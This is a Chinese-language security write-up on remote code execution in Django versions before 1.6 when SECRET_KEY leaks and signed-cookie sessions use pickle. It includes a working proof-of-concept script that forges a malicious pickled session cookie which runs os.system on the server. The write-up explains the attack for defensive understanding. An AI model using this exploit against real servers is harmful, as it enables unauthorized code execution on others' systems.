最近審查代碼發現某些產品在登錄的JS
代碼中泄露了SECRET_KEY
,將該值作為密碼加密的鹽,這樣就暴露了加密salt
不太好吧,更重要的是對django
的安全造成了極大的威脅。
SECTET_KEY
在djanog
中使用非常廣泛,基本上涉及到安全,加密等的地方都用到了,下面列舉一些常見情景:
1,json object
的簽名
2,加密函數,如密碼重置,表單,評論,csrf
的key
,session
數據
這里面就要重點講到session
的問題,在這里使用不當就會導致代碼執行
django
默認存儲session
到數據庫中,但是可能會比較慢,就會使用到緩存,文件,還有cookie
等方式,如果采用了cookie
機制則有可能代碼執行,settings配置如下:
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
在django1.6
以下,session
默認是采用pickle
執行序列號操作,在1.6
及以上版本默認采用json
序列化。代碼執行只存在于使用pickle
序列話的操作中。
可以簡單的分為兩部分,process_request
和process_response
,前者負責選擇session
引擎,初始化cookie
數據。見代碼
#!python
class SessionMiddleware(object):
def process_request(self, request):
engine = import_module(settings.SESSION_ENGINE)
session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
request.session = engine.SessionStore(session_key)
process_response
則是處理返回給用戶的cookie
信息,比如修改過期時間等。在將session
存入緩存后,可能在某個操作中會用到session
信息,這個時候就會通過反序列化操作從緩存中取,如果反序列話引擎是采用pickle
機制的話就存在代碼執行。反序列化的代碼位于django.core.signing.py
中,這個模塊主要是一些簽名,加解密操作,同時也包含序列化和反序列化,默認采用JSON
引擎,下面是反序列話loads
的代碼:
#!python
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
"""
Reverse of dumps(), raises BadSignature if signature fails
"""
base64d = smart_str(
TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
decompress = False
if base64d[0] == '.':
# It's compressed; uncompress it first
base64d = base64d[1:]
decompress = True
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
return serializer().loads(data)
#!python
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):
def __reduce__(self):
return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()
通過序列化Run
類,實現創建一個文件的操作,在反序列化的時候執行這個操作。執行代碼完成可看到在/tmp
目錄創建xxlegend.log
文件,同時web
報500
錯誤。
利用條件總結起來就是這么幾句話,首先泄露了SECRET_KEY
,其次session
引擎采用了signed_cookies
,django
版本小于1.6
即存在代碼執行問題。同樣的問題也存在于python
的其他web
框架中,如flask
,bottle
。